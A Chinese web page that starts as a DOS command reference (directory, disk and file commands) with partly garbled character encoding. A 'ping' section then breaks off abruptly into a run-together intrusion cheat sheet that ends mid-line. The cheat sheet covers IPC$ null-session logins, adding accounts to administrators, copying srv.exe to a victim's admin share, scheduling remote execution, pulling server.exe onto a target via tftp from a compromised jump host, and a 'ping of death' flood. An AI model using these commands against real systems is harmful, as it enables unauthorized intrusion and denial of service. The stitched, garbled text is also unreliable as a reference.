DOS命令

   

   dos命令
dos命令大全
注意！ dos命令不區(qū)分大小寫，比如C盤的Program Files，在dos命令中完全可以用"program files"代替，加上英文引號是因為名稱的中間有空格(即多于一個詞)，這一點是初學(xué)者經(jīng)常忽略的。
目錄操作類命令
(一）md——建立子目錄 　
1．功能：創(chuàng)建新的子目錄　
2．類型：內(nèi)部命令　
3．格式：md[盤符：][路徑名]〈子目錄名〉　
4．使用說明：　
（1）“盤符”：指定要建立子目錄的磁盤驅(qū)動器字母，若省略，則為當(dāng)前驅(qū)動器；　
（2）“路徑名”：要建立的子目錄的上級目錄名，若缺省則建在當(dāng)前目錄下�！�
例：（1）在c盤的根目錄下創(chuàng)建名為fox的子目錄；（2）在fox子目錄下再創(chuàng)建user子目錄。　
c：＞md fox （在當(dāng)前驅(qū)動器c盤下創(chuàng)建子目錄fox）　
c：＞md fox user （在fox 子目錄下再創(chuàng)建user子目錄）　
（二）cd——改變當(dāng)前目錄　
1．功能：顯示當(dāng)前目錄　
2．類型：內(nèi)部命令　
3．格式：cd[盤符：][路徑名][子目錄名]　
4．使用說明：　
（1）如果省略路徑和子目錄名則顯示當(dāng)前目錄；　
（2）如采用“cd”格式，則退回到根目錄；　
（3）如采用“cd..”格式則退回到上一級目錄�！�
例：（1）進入到user子目錄；（2）從user子目錄退回到子目錄；（3）返回到根目錄�！�
c:＞cd foxuser（進入fox子目錄下的user子目錄）　
c:foxuser＞cd.. （退回上一級根目錄,注意cd后面跟著兩個點".."）�！�
c：fox＞cd （返回到根目錄）
c:　
（三）rd——刪除子目錄命令　
1．功能：從指定的磁盤刪除了目錄�！�
2．類型：內(nèi)部命令　
3．格式：rd[盤符：][路徑名][子目錄名]　
4．使用說明：　
（1）子目錄在刪除前必須是空的，也就是說需要先進入該子目錄，使用del（刪除文件的命令）將其子目錄下的文件刪空，然后再退回到上一級目錄，用rd命令刪除該了目錄本身；　
（2）不能刪除根目錄和當(dāng)前目錄。　
例：要求把c盤fox子目錄下的user子目錄刪除，操作如下：　
第一步：先將user子目錄下的文件刪空；　
c＞del c：foxuser*.*　或 del c:foxuser 或 del c:foxuser*
(注:這樣只能刪除文件,仍然不能刪除user目錄下的文件夾)
第二步，刪除user子目錄�！�
c＞rd ｃ：foxuser　
(注:如果foxuser文件夾下仍有文件夾,這一步將不會奏效,怎樣解決呢？其實不必勞煩兩步，直接這樣 c>rd c:foxuser /s
加上了一個參數(shù)/s，如果不想讓系統(tǒng)詢問是否刪除,可以再加一個參數(shù) /p。
（四）dir——顯示磁盤目錄命令　
1．功能：顯示磁盤目錄的內(nèi)容�！�
2．類型：內(nèi)部命令　
3．格式：dir [盤符][路徑][/p][/w]　
4．使用說明：/p的使用；當(dāng)欲查看的目錄太多，無法在一屏顯示完屏幕會一直往上卷，不容易看清，加上/p參數(shù)后，屏幕上會分面一次顯示23行的文件信息，然后暫停，并提示；press any key to continue　
/w的使用：加上/w只顯示文件名，至于文件大小及建立的日期和時間則都省略。加上參數(shù)后，每行可以顯示五個文件名。　
（五）path——路徑設(shè)置命令　
1．功能：設(shè)備可執(zhí)行文件的搜索路徑，只對文件有效�！�
2．類型：內(nèi)部命令　
3．格式：path[盤符1]目錄[路徑名1]{[；盤符2：]，〈目錄路徑名2〉…}　
4．使用說明：　
（1）當(dāng)運行一個可執(zhí)行文件時，dos會先在當(dāng)前目錄中搜索該文件，若找到則運行之；若找不到該文件，則根據(jù)path命令所設(shè)置的路徑，順序逐條地到目錄中搜索該文件；　
（2）path命令中的路徑，若有兩條以上，各路徑之間以一個分號“；”隔開；　
（3）path命令有三種使用方法：　
path[盤符1：][路徑1][盤符2：][路徑2]…（設(shè)定可執(zhí)行文件的搜索路徑）　 path：（取消所有路徑）　
path：（顯示目前所設(shè)的路徑）　
（六）tree——顯示磁盤目錄結(jié)構(gòu)命令　
1．功能：顯示指定驅(qū)動器上所有目錄路徑和這些目錄下的所有文件名�！�
2．類型：外部命令　
3．格式：tree[盤符：][/f][》prn]　
4．使用說明：　
（1）使用/f參數(shù)時顯示所有目錄及目錄下的所有文件，省略時，只顯示目錄，不顯示目錄下的文件；　
（2）選用＞prn參數(shù)時，則把所列目錄及目錄中的文件名打印輸出�！�
（七）deltree——刪除整個目錄命令　
1．功能：將整個目錄及其下屬子目錄和文件刪除�！�
2．類型：外部命令　
3．格式：deltree[盤符：]〈路徑名〉　
4．使用說明：該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一并刪除，而且不管文件的屬性為隱藏、系統(tǒng)或只讀，只要該文件位于刪除的目錄之下，deltree都一視同仁，照刪不誤。使用時務(wù)必小心�。�！　
磁盤操作類命令　
（一）format——磁盤格式化命令　
1．功能：對磁盤進行格式化，劃分磁道和扇區(qū)；同時檢查出整個磁盤上有無帶缺陷的磁道，對壞道加注標(biāo)記；建立目錄區(qū)和文件分配表，使磁盤作好接收dos的準(zhǔn)備�！�
2．類型：外部命令　
3．格式：format〈盤符：〉[/s][/4][/q]　
4．使用說明：　
（1）命令后的盤符不可缺省，若對硬盤進行格式化，則會如下列提示：warning:all data on non
——removable disk　
drive c:will be lost ！　
proceed with format (y/n)？　
（警告：所有數(shù)據(jù)在c盤上，將會丟失，確實要繼續(xù)格式化嗎？）　
（2）若是對軟盤進行格式化，則會如下提示：insert mew diskette for drive a;　
and press enter when ready…　
（在a驅(qū)中插入新盤，準(zhǔn)備好后按回車鍵）。　
（3）選用[/s]參數(shù)，將把dos系統(tǒng)文件io.sys、msdos.sys及command.com復(fù)制到磁盤上，使該磁盤可以做為dos啟動盤。若不選用/s參數(shù)，則格式化后的磙盤只能讀寫信息，而不能做為啟動盤；　
（4）選用[/4]參數(shù)，在1.2mb的高密度軟驅(qū)中格式化360kb的低密度盤；　
（5）選用[/q]參數(shù)，快速格式化，這個參數(shù)并不會重新劃分磁盤的磁道貌岸然和扇區(qū)，只能將磁盤根目錄、文件分配表以及引導(dǎo)扇區(qū)清成空白，因此，格式化的速度較快�！�
（6）選用[/u]參數(shù)，表示無條件格式化，即破壞原來磁盤上所有數(shù)據(jù)。不加/u，則為安全格式化，這時先建立一個鏡象文件保存原來的fat表和根目錄，必要時可用unforrmat恢復(fù)原來的數(shù)據(jù)。　
（二）unformat恢復(fù)格式化命令　
1．功能：對進行過格式化誤操作丟失數(shù)據(jù)的磁盤進行恢復(fù)。　
2．類型：外部命令　
3．格式：unformat〈盤符〉[/l][/u][/p][/test]　
4．使用說明：用于將被“非破壞性”格式化的磁盤恢復(fù)。根目錄下被刪除的文件或子目錄及磁盤的系統(tǒng)扇區(qū)（包括fat、根目錄、boot扇區(qū)及硬盤分區(qū)表）受損時，也可以用unformat來搶救。　
（1）選用/l參數(shù)列出找到的子目錄名稱、文件名稱、大孝日期等信息，但不會真的做format工作。　
（2）選用/p參數(shù)將顯示于屏幕的報告（包含/l參數(shù)所產(chǎn)生的信息）同時也送到打印機。運行時屏幕會顯示：“print out will
be sent to lpt1”　
（3）選用/test參數(shù)只做模擬試驗（test）不做真正的寫入動作。使用此參數(shù)屏幕會顯示：“simulation only”　
（4）選用/u參數(shù)不使用mirror映像文件的數(shù)據(jù)，直接根據(jù)磁盤現(xiàn)狀進行unformat�！�
（5）選用/psrtn；修復(fù)硬盤分區(qū)表�！�
若在盤符之后加上/p、/l、/test之一，都相當(dāng)于使用了/u參數(shù)，unformat會“假設(shè)”此時磁盤沒有mirror映像文件�！�
注意：unformat對于剛format的磁盤，可以完全恢復(fù)，但format后若做了其它數(shù)據(jù)的寫入，則unformat就不能完整的救回數(shù)據(jù)了。 unformat并非是萬能的，由于使用unformat會重建fat與根目錄，所以它也具有較高的危險性，操作不當(dāng)可能會擴大損失，如果僅誤刪了幾個文件或子目錄，只需要利用undelete就夠了。
三） chkdsk——檢查磁盤當(dāng)前狀態(tài)命令　
1．功能：顯示磁盤狀態(tài)、內(nèi)存狀態(tài)和指定路徑下指定文件的不連續(xù)數(shù)目�！�
2．類型：外部命令　
3．格式：chkdsk [盤符：][路徑][文件名][/f][/v]　
4．使用說明：　
（1）選用[文件名]參數(shù)，則顯示該文件占用磁盤的情況；　
（2）選[/f]參數(shù)，糾正在指定磁盤上發(fā)現(xiàn)的邏輯錯誤；　
（3）選用[/v]參數(shù)，顯示盤上的所有文件和路徑�！�
（四）diskcopy——整盤復(fù)制命令　
1．功能：復(fù)制格式和內(nèi)容完全相同的軟盤�！�
2．類型：外部命令　
3．格式：diskcopy[盤符1：][盤符2：]　
4．使用說明：　
（1）如果目標(biāo)軟盤沒有格式化，則復(fù)制時系統(tǒng)自動選進行格式化。　
（2）如果目標(biāo)軟盤上原有文件，則復(fù)制后將全部丟失�！�
（3）如果是單驅(qū)動器復(fù)制，系統(tǒng)會提示適時更換源盤和目標(biāo)盤，請操作時注意分清源盤和目標(biāo)盤。　
（五）label——建立磁盤卷標(biāo)命令　
1．功能：建立、更改、刪除磁盤卷標(biāo)�！�
2．類型：外部命令　
3．格式：label[盤符：][卷標(biāo)名]　
4．使用說明：　
（1）卷標(biāo)名為要建立的卷標(biāo)名，若缺省此參數(shù)，則系統(tǒng)提示鍵入卷標(biāo)名或詢問是否刪除原有的卷標(biāo)名；　
（2）卷標(biāo)名由1至11個字符組成�！�
（六）vol——顯示磁盤卷標(biāo)命令　
1．功能：查看磁盤卷標(biāo)號�！�
2．類型：內(nèi)部命令　
3．格式：vol[盤符：]　
4．使用說明：省略盤符，顯示當(dāng)前驅(qū)動器卷標(biāo)�！�
（七）scandisk——檢測、修復(fù)磁盤命令　
1．功能：檢測磁盤的fat表、目錄結(jié)構(gòu)、文件系統(tǒng)等是否有問題，并可將檢測出的問題加以修復(fù)�！�
2．類型：外部命令　
3．格式：scandisk[盤符1：]{[盤符2：]…}[/all]　
4．使用說明：　
（1）ccandisk適用于硬盤和軟盤，可以一次指定多個磁盤或選用[/all]參數(shù)指定所有的磁盤；　
（2）可自動檢測出磁盤中所發(fā)生的交叉連接、丟失簇和目錄結(jié)構(gòu)等邏輯上的錯誤，并加以修復(fù)�！�
（八）defrag——重整磁盤命令　
1．。功能：整理磁盤，消除磁盤碎塊�！�
2．類型：外部命令　
3．格式：defrag[盤符：][/f]　
4．使用說明：選用/f參數(shù)，將文件中存在盤上的碎片消除，并調(diào)整磁盤文件的安排，確保文件之間毫無空隙。從而加快讀盤速度和節(jié)省磁盤空間�！�
（九）sys——系統(tǒng)復(fù)制命令　
1．功能：將當(dāng)前驅(qū)動器上的dos系統(tǒng)文件io.sys,msdos.sys和command.com 傳送到指定的驅(qū)動器上�！�
2．類型：外部命令　
3．格式：sys[盤符：]　
*使用說明：如果磁盤剩余空間不足以存放系統(tǒng)文件，則提示：no roomfor on destination disk.　
文件操作類命令　
（一） copy文件復(fù)制命令　
1．功能：拷貝一個或多個文件到指定盤上�！�
2．類型：內(nèi)部命令　
3．格式：copy [源盤][路徑]〈源文件名〉[目標(biāo)盤][路徑][目標(biāo)文件名]　
4．使用說明：　
（1）copy是文件對文件的方式復(fù)制數(shù)據(jù)，復(fù)制前目標(biāo)盤必須已經(jīng)格式化；　
（2）復(fù)制過程中，目標(biāo)盤上相同文件名稱的舊文件會被源文件取代；　
（3）復(fù)制文件時，必須先確定目標(biāo)般有足夠的空間，否則會出現(xiàn)；insufficient的錯誤信息，提示磁盤空間不夠；　
（4）文件名中允許使用通配舉“*”“？”，可同時復(fù)制多個文件；　
（5）copy命令中源文件名必須指出，不可以省略�！�
（6）復(fù)制時，目標(biāo)文件名可以與源文件名相同，稱作“同名拷貝”此時目標(biāo)文件名可以省略；　
（7）復(fù)制時，目標(biāo)文件名也可以與源文件名不相同，稱作“異名拷貝”，此時，目標(biāo)文件名不能省略；　
（8）復(fù)制時，還可以將幾個文件合并為一個文件，稱為“合并拷貝”，格式如下：copy；[源盤][路徑]〈源文件名1〉〈源文件名2〉…[目標(biāo)盤][路徑]〈目標(biāo)文件名〉；　
（9）利用copy命令，還可以從鍵盤上輸入數(shù)據(jù)建立文件，格式如下：copy con [盤符：][路徑]〈文件名〉；　
（10）注意：copy命令的使用格式，源文件名與目標(biāo)文件名之間必須有空格！　
（二）xcopy——目錄復(fù)制命令　
1．功能：復(fù)制指定的目錄和目錄下的所有文件連同目錄結(jié)構(gòu)�！�
2．類型：外部命令　
3．格式：xcopy [源盤：]〈源路徑名〉[目標(biāo)盤符：][目標(biāo)路徑名][/s][/v][/e]　
4．使用說明：　
（1）xcopy是copy的擴展，可以把指定的目錄連文件和目錄結(jié)構(gòu)一并拷貝，但不能拷貝隱藏文件和系統(tǒng)文件；　
（2）使用時源盤符、源目標(biāo)路徑名、源文件名至少指定一個；　
（3）選用/s時對源目錄下及其子目錄下的所有文件進行copy。除非指定/e參數(shù)，否則/s不會拷貝空目錄，若不指定/s參數(shù)，則xcopy只拷貝源目錄本身的文件，而不涉及其下的子目錄；　
（4）選用/v參數(shù)時，對的拷貝的扇區(qū)都進行較驗，但速度會降低。　
（三）type——顯示文件內(nèi)容命令　
1．功能：顯示ascii碼文件的內(nèi)容�！�
2．類型：內(nèi)部命令。　
3．格式：type[盤符：][路徑]〈文件名〉　
4．使用說明：　
（1）顯示由ascii碼組成的文本文件，對。exe.com等為擴展名的文件，其顯示的內(nèi)容是無法閱讀的，沒有實際意義2；　
（2）該命令一次只可以顯示一個文件的內(nèi)容，不能使用通配符；　
（3）如果文件有擴展名，則必須將擴展名寫上；　
（4）當(dāng)文件較長，一屏顯示不下時，可以按以下格式顯示；type[盤符：][路徑]〈文件名〉|more，more為分屏顯示命令，使用些參數(shù)后當(dāng)滿屏?xí)r會暫停，按任意鍵會繼續(xù)顯示�！�
（5）若需將文件內(nèi)容打印出來，可用如下格式：　
type[盤符：][路徑]〈文件名〉，＞prn　
此時，打印機應(yīng)處于聯(lián)機狀態(tài)。　
（四） ren——文件改名命令　
1．功能：更改文件名稱　
2．類型：內(nèi)部命令　
3．格式：ren[盤符：][路徑]〈舊文件名〉〈新文件名〉　
4．使用說明：　
（1）新文件名前不可以加上盤符和路徑，因為該命令只能對同一盤上的文件更換文件名；　
（2）允許使用通配符更改一組文件名或擴展名。　
（五）fc——文件比較命令　
1．功能：比較文件的異同，并列出差異處。　
2．類型：外部命令　
3．格式：fc[盤符：][路徑名]〈文件名〉[盤符：][路徑名][文件名][/a][/c][/n]　
4．使用說明：　
（1）選用/a參數(shù)，為ascii碼比較模式；　
（2）選用/b參數(shù)，為二進制比較模式；　
（3）選用/c參數(shù)，將大小寫字符看成是相同的字符�！�
（4）選用/n參數(shù)，在ascii碼比較方式下，顯示相異處的行號�！�
（六）attrib——修改文件屬性命令　
1．功能：修改指定文件的屬性。（文件屬性參見2.5.4（二）文件屬性一節(jié)）　
2．類型：外部命令。　
3．格式：attrib[文件名][r][—r][a][—a][h][—h][—s]　
4．使用說明：　
（1）選用r參數(shù)，將指定文件設(shè)為只讀屬性，使得該文件只能讀取，無法寫入數(shù)據(jù)或刪除；選用—r參數(shù)，去除只讀屬性；　
（2）選用a參數(shù)，將文件設(shè)置為檔案屬性；選用—a參數(shù)，去除檔案屬性；　 （3）選用h參數(shù)，將文件調(diào)協(xié)為隱含屬性；選用—h參數(shù)，去隱含屬性；　
（4）選用s參數(shù)，將文件設(shè)置為系統(tǒng)屬性；選用—s參數(shù)，去除系統(tǒng)屬性；　 （5）選用/s參數(shù)，對當(dāng)前目錄下的所有子目錄及作設(shè)置。　
七） ——刪除文件命令　
1．功能：刪除指定的文件。　
2．類型：內(nèi)部命令　
3．格式：del[盤符：][路徑]〈文件名〉[/p]　
4．使用說明：　
（1）選用/p參數(shù)，系統(tǒng)在刪除前詢問是否真要刪除該文件，若不使用這個參數(shù)，則自動刪除；　
（2）該命令不能刪除屬性為隱含或只讀的文件；
（3）在文件名稱中可以使用通配符；
（4）若要刪除磁盤上的所有文件（del*·*或del·），則會提示：(arey ou sure？）（你確定嗎？）若回答y，則進行刪除，回答n，則取消此次刪除作業(yè)。
    （八） undelete——恢復(fù)刪除命令
    1．功能：恢復(fù)被誤刪除命令
    2．類型：外部命令。
    3．格式：undelete[盤符：][路徑名]〈文件名〉[/dos][/list][/all]
    4．使用說明：使用undelete可以使用“*”和“？”通配符。
    （1）選用/dos參數(shù)根據(jù)目錄里殘留的記錄來恢復(fù)文件。由于文件被刪除時，目錄所記載斬文件名第一個字符會被改為e5，dos即依據(jù)文件開頭的e5和其后續(xù)的字符來找到欲恢復(fù)的文件，所以，undelete會要求用戶輸入一個字符，以便將文件名字補齊。但此字符不必和原來的一樣，只需符合dos的文件名規(guī)則即可。
    （2）選用/list只“列出”符合指定條件的文件而不做恢復(fù)，所以對磁盤內(nèi)容完全不會有影響。
    （3）選用/all自動將可完全恢復(fù)的文件完全恢復(fù)，而不一一地詢問用戶，使用此參數(shù)時，若undelte利用目錄里殘留的記錄來將文件恢復(fù)，則會自動選一個字符將文件名補齊，并且使其不與現(xiàn)存文件名相同，選用字符的優(yōu)選順序為：#%——0000123456789a~z。   
        undelete還具有建立文件的防護措施的功能，已超出本課程授課范圍，請讀者在使用些功能時查閱有關(guān)dos手冊。
其它命令
    （一）cls——清屏幕命令
    1功能：清除屏幕上的所有顯示，光標(biāo)置于屏幕左上角。
    2類型：內(nèi)部命令
    3格式：cls
    （二） ver查看系統(tǒng)版本號命令
    1功能：顯示當(dāng)前系統(tǒng)版本號
    2類型：內(nèi)部命令
    3格式：ver
    （三） data日期設(shè)置命令
    1功能：設(shè)置或顯示系統(tǒng)日期。
    2類型：內(nèi)部命令
    3格式：date[mm——dd——yy]
    4使用說明：
    （1）省略[mm——dd——yy]顯示系統(tǒng)日期并提示輸入新的日期，不修改則可直接按回車鍵，[mm——dd——yy]為“月月——日日——年年”格式；
    （2）當(dāng)機器開始啟動時，有自動處理文件（autoexec.bat）被執(zhí)行，則系統(tǒng)不提示輸入系統(tǒng)日期。否則，提示輸入新日期和時間。
    （四） time系統(tǒng)時鐘設(shè)置命令
    1功能：設(shè)置或顯示系統(tǒng)時期。
    2類型：內(nèi)部命令
    3格式：time[hh：mm：ss：xx]
    4使用說明：
    （1）省略[hh：mm：ss：xx]，顯示系統(tǒng)時間并提示輸入新的時間，不修改則可直接按回車鍵，[hh：mm：ss：xx]為“小時：分鐘：秒：百分之幾秒”格式；
    （2）當(dāng)機器開始啟動時，有自動處理文件（autoexec.bat）被執(zhí)行，則系統(tǒng)不提示輸入系統(tǒng)日期。否則，提示輸入新日期和時間。
    （五）mem查看當(dāng)前內(nèi)存狀況命令
    1功能：顯示當(dāng)前內(nèi)存使用的情況
    2類型：外部命令
    3格式：mem[/c][/f][/m][/p]
    4使用說明：
    （1）選用/c參數(shù)列出裝入常規(guī)內(nèi)存和cmb的各文件的長度，同時也顯示內(nèi)存空間的使用狀況和最大的可用空間；
    （2）選用/f參數(shù)分別列出當(dāng)前常規(guī)內(nèi)存剩余的字節(jié)大小和umb可用的區(qū)域及大小；  
    （3）選用/m參數(shù)顯示該模塊使用內(nèi)存地地址、大小及模塊性質(zhì)；
    （4）選用/p參數(shù)指定當(dāng)輸出超過一屏?xí)r，暫停供用戶查看。
    （六） msd顯示系統(tǒng)信息命令
    1功能：顯示系統(tǒng)的硬件和操作系統(tǒng)的狀況。
    2類型：外部命令
    3格式：msd[/s]
    4使用說明：
    （1）選用/i參數(shù)時，不檢測硬件；
    （2）選用/b參數(shù)時，以黑白方式啟動msd；
    （3）選用/s參數(shù)時，顯示出簡明的系統(tǒng)報告。
ping命令詳解
對于windows下ping命令相信大家已經(jīng)再熟悉不過了，但是能把ping的功能發(fā)揮到最大的人卻并不是很多，當(dāng)然我也并不是說我可以讓ping發(fā)揮最大的功能，我也只不過經(jīng)常用ping這個工具，也總結(jié)了一些小經(jīng)驗，現(xiàn)在和大家分享一下。
現(xiàn)在我就參照ping命令的幫助說明來給大家說說我使用ping時會用到的技巧，ping只有在安裝了tcp/ip協(xié)議以后才可以使用：
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-wz timeout] destination-list
options:
-t ping the specified host until stopped.to see statistics and continue - type control-break;to stop - type control-c.
不停的ping地方主機，直到你按下control-c。
此功能沒有什么特別的技巧，不過可以配合其他參數(shù)使用，將在下面提到。net use \ipipc$ " " /user:" " 建立ipc空鏈接net use \ipipc$ "密碼" /user:"用戶名" 建立ipc非空鏈接net use h: \ipc$ "密碼" /user:"用戶名" 直接登陸后映射對方c：到本地為h:net use h: \ipc$ 登陸后映射對方c：到本地為h:net use \ipipc$ /del 刪除ipc鏈接net use h: /del 刪除映射對方到本地的為h:的映射net user 用戶名 密碼 /add 建立用戶net user guest /active:yes 激活guest用戶net user 查看有哪些用戶net user 帳戶名 查看帳戶的屬性net localgroup ***istrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限,注意：***istrator后加s用復(fù)數(shù)net start 查看開啟了哪些服務(wù)net start 服務(wù)名  開啟服務(wù)；(如:net start telnet， net start schedule)net stop 服務(wù)名 停止某服務(wù)net time \目標(biāo)ip 查看對方時間net time \目標(biāo)ip /set 設(shè)置本地計算機時間與“目標(biāo)ip”主機的時間同步,加上參數(shù)/yes可取消確認(rèn)信息net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享net view \ip 查看對方局域網(wǎng)內(nèi)開啟了哪些共享net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置net logoff 斷開連接的共享net pause 服務(wù)名 暫停某服務(wù)net send ip "文本信息" 向?qū)Ψ桨l(fā)信息net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息net share 查看本地開啟的共享net share ipc$ 開啟ipc$共享net share ipc$ /del 刪除ipc$共享net share c$ /del 刪除c：共享net user guest 12345 用guest用戶登陸后用將密碼改為12345net password 密碼 更改系統(tǒng)登陸密碼netstat -a 查看開啟了哪些端口,常用netstat -annetstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -annetstat -v 查看正在進行的工作netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況（查看tcp/ip協(xié)議使用情況）netstat -s 查看正在使用的所有協(xié)議使用情況nbtstat -a ip 對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數(shù)-a要大寫tracert -參數(shù) ip(或計算機名) 跟蹤路由（數(shù)據(jù)包），參數(shù)：“-w數(shù)字”用于設(shè)置超時間隔。ping ip(或域名) 向?qū)Ψ街鳈C發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l[空格]數(shù)據(jù)包大小”；“-n發(fā)送數(shù)據(jù)次數(shù)”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(發(fā)送大于64k的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows nt及xp(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息tlist -t 以樹行列表顯示進程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的support/tools文件夾內(nèi))kill -f 進程名 加-f參數(shù)后強制結(jié)束某進程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的support/tools文件夾內(nèi))del -f 文件名加-f參數(shù)后就可刪除只讀文件,/ar、/ah、/as、/aa分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/a-r、/a-h、/a-s、/a-a表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“del/ar *.*”表示刪除當(dāng)前目錄下所有只讀文件，“del/a-s *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件#2 二：del /s /q 目錄 或用：rmdir /s /q 目錄 /s刪除目錄及目錄下的所有子目錄和文件。同時使用參數(shù)/q 可取消刪除操作時的系統(tǒng)確認(rèn)就直接刪除。（二個命令作用相同）move 盤符路徑要移動的文件名 存放移動文件的路徑移動后文件名 移動文件,用參數(shù)/y將取消確認(rèn)移動目錄存在相同文件的提示就直接覆蓋fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令at id號 開啟已注冊的某個計劃任務(wù)at /delete 停止所有計劃任務(wù)，用參數(shù)/yes則不需要確認(rèn)就直接停止at id號 /delete 停止某個已注冊的計劃任務(wù)at 查看所有的計劃任務(wù)at \ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機finger username @host 查看最近有哪些用戶登陸telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23open ip 連接到ip（屬telnet登陸后的命令）telnet 在本機上直接鍵入telnet 將進入本機的telnetcopy 路徑文件名1 路徑文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時取消確認(rèn)你要改寫一份現(xiàn)存目錄文件copy c:srv.exe \ip***$ 復(fù)制本地c:srv.exe到對方的***下copy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進制文件，/a指ascll格式文件copy \ip***$svv.exe c: 或:copy\ip***$*.* 復(fù)制對方***i$共享下的srv.exe文件（所有文件）至本地c：xcopy 要復(fù)制的文件或目錄樹 目標(biāo)地址目錄名 復(fù)制文件和目錄樹，用參數(shù)/y將不提示覆蓋相同文件tftp -i 自己ip(用肉機作跳板時這用肉機ip) get server.exe c:server.exe 登陸后，將“ip”的server.exe下載到目標(biāo)主機c:server.exe 參數(shù)：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ascii模式（傳送文本文件模式）進行傳送tftp -i 對方ip put c:server.exe 登陸后，上傳本地c:server.exe至主機ftp ip 端口 用于上傳文件至服務(wù)器或進行文件操作，默認(rèn)端口為21。bin指用二進制方式傳送（可執(zhí)行文件進）；默認(rèn)為ascii格式傳送(文本文件時)route print 顯示出ip路由，將主要顯示網(wǎng)絡(luò)地址network addres，子網(wǎng)掩碼netmask，網(wǎng)關(guān)地址gateway addres，接口地址interfacearp 查看和處理arp緩存，arp是名字解析的意思，負(fù)責(zé)把一個ip解析成一個物理性的mac地址。arp -a將顯示出全部信息start 程序名或命令 /max 或/min 新開一個新窗口并最大化（最小化）運行某程序或命令mem 查看cpu使用情況attrib 文件名(目錄名) 查看某文件（目錄）的屬性attrib 文件名 -a -r -s -h 或 +a +r +s +h 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性；用＋則是添加為某屬性dir 查看文件，參數(shù)：/q顯示文件及目錄屬系統(tǒng)哪個用戶，/t:c顯示文件創(chuàng)建時間，/t:a顯示文件上次被訪問時間，/t:w上次被修改時間date /t 、 time /t 使用此參數(shù)即“date/t”、“time/t”將只顯示當(dāng)前日期和時間，而不必輸入新日期和時間set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量set 顯示當(dāng)前所有的環(huán)境變量set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量pause 暫停批處理程序，并顯示出：請按任意鍵繼續(xù)....if 在批處理程序中執(zhí)行條件處理（更多說明見if命令及變量）goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單獨一行，且以冒號打頭，例如：“：start”標(biāo)簽）call 路徑批處理文件名 從批處理程序中調(diào)用另一個批處理程序 （更多說明見call /?）for 對一組文件中的每一個文件執(zhí)行某個特定命令（更多說明見for命令及變量）echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置echo 信息 在屏幕上顯示出信息echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中findstr "hello" aa.txt 在aa.txt文件中尋找字符串hellofind 文件名 查找某文件title 標(biāo)題名字 更改cmd窗口標(biāo)題名字color 顏色值 設(shè)置cmd控制臺前景和背景顏色；0＝黑、1＝藍(lán)、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍(lán)、a＝淡綠、b=淡淺綠、c=淡紅、d=淡紫、e=淡黃、f=亮白prompt 名稱 更改cmd.exe的顯示的命令提示符(把c:、d:統(tǒng)一改為：entsky )#3 三：ver 在dos窗口下顯示版本信息winver 彈出一個窗口顯示版本信息（內(nèi)存大小、系統(tǒng)版本、補丁版本、計算機名）format 盤符 /fs:類型 格式化磁盤,類型:fat、fat32、ntfs ,例：format d: /fs:ntfsmd 目錄名 創(chuàng)建目錄replace 源文件 要替換文件的目錄 替換文件ren 原文件名 新文件名 重命名文件名tree 以樹形結(jié)構(gòu)顯示出目錄，用參數(shù)-f 將列出第個文件夾中文件名稱type 文件名 顯示文本文件的內(nèi)容more 文件名 逐屏顯示輸出文件doskey 要鎖定的命令＝字符doskey 要解鎖命令= 為dos提供的鎖定命令(編輯命令行，重新調(diào)用win2k命令，并創(chuàng)建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=taskmgr 調(diào)出任務(wù)管理器chkdsk /f d: 檢查磁盤d并顯示狀態(tài)報告；加參數(shù)/f并修復(fù)磁盤上的錯誤tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口exit 退出cmd.exe程序或目前，用參數(shù)/b則是退出當(dāng)前批處理腳本而不是cmd.exepath 路徑可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個路徑。cmd 啟動一個win2k命令解釋窗口。參數(shù)：/eff、/en 關(guān)閉、開啟命令擴展；更我詳細(xì)說明見cmd /?regedit /s 注冊表文件名 導(dǎo)入注冊表；參數(shù)/s指安靜模式導(dǎo)入，無任何提示；regedit /e 注冊表文件名 導(dǎo)出注冊表cacls 文件名 參數(shù) 